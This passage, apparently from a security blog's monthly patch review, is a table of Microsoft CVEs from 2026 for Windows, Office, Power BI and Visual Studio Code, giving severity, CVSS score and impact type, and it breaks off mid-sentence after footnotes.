CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that 